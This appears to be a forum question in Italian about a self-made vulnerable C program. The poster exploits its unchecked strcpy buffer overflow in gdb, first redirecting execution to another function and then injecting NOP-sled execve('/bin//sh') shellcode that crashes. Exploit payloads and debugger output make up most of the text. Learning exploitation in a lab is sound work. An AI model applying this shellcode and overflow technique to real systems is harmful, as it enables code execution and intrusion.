Ho creato un piccolo programma C vulnerabile, che normalmente non chiamerà la funzione overflow.
void overflowed(){
printf("%s\n","Hijacked");
}
void normally(char * st){
char buffer[80];
strcpy(buffer,st);
}
int main(int argc, char * argv[]){
normally(argv[1]);
printf("%s\n","Regulary executed");
return 0;
}
Aperto in gdb e riuscito a chiamare la funzione overflow
(gdb) disass overflowed Dump of assembler code for function overflowed: 0x08048436 : push %ebp 0x08048437 : mov %esp,%ebp 0x08048439 : push %ebx 0x0804843a : call 0x80484bc 0x0804843f : add $0x1bc1,%eax 0x08048444 : lea -0x1ac0(%eax),%edx 0x0804844a : push %edx 0x0804844b : mov %eax,%ebx 0x0804844d : call 0x8048310 0x08048452 : add $0x4,%esp 0x08048455 : nop 0x08048456 : mov -0x4(%ebp),%ebx 0x08048459 : leave 0x0804845a : ret End of assembler dump. (gdb) run $(python -c "print 'A'*88+'\x36\x84\x04\x08'") Starting program: /root/vuln $(python -c "print 'A'*88+'\x36\x84\x04\x08'") Hijacked Program received signal SIGSEGV, Segmentation fault. 0xbffff500 in ?? () (gdb)
Ho impostato un breakpoint all'uscita della funzione normalmente per controllare lo stack in modo da poter vedere quale indirizzo di ritorno inserire. Ce l'ho fatta e qui è l'uscita. Posso solo capire perché lo shellcode non verrà eseguito. Btw shellcode funziona, testato già nel programma C per richiamare questo shellcode.
(gdb) run $(python -c "print '\x90'*62+'\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80'+'\xf4\xf2\xff\xbf'") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/vuln $(python -c "print '\x90'*62+'\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80'+'\xf4\xf2\xff\xbf'") Breakpoint 2, normally (st=0xbffff500 "") at vulnerable.c:11 11 } (gdb) x/25xw $esp 0xbffff2f4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff304: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff314: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff324: 0x90909090 0x90909090 0x90909090 0xc0319090 0xbffff334: 0x2f685099 0x6868732f 0x6e69622f 0x5350e389 0xbffff344: 0xc031e189 0x80cd0bb0 0xbffff2f4 0xbffff500 0xbffff354: 0x00000000 (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0xbffff345 in ?? () (gdb)
ASLR è disattivato, compilato con -fno-stack-protector, -z execstack e -no-pie.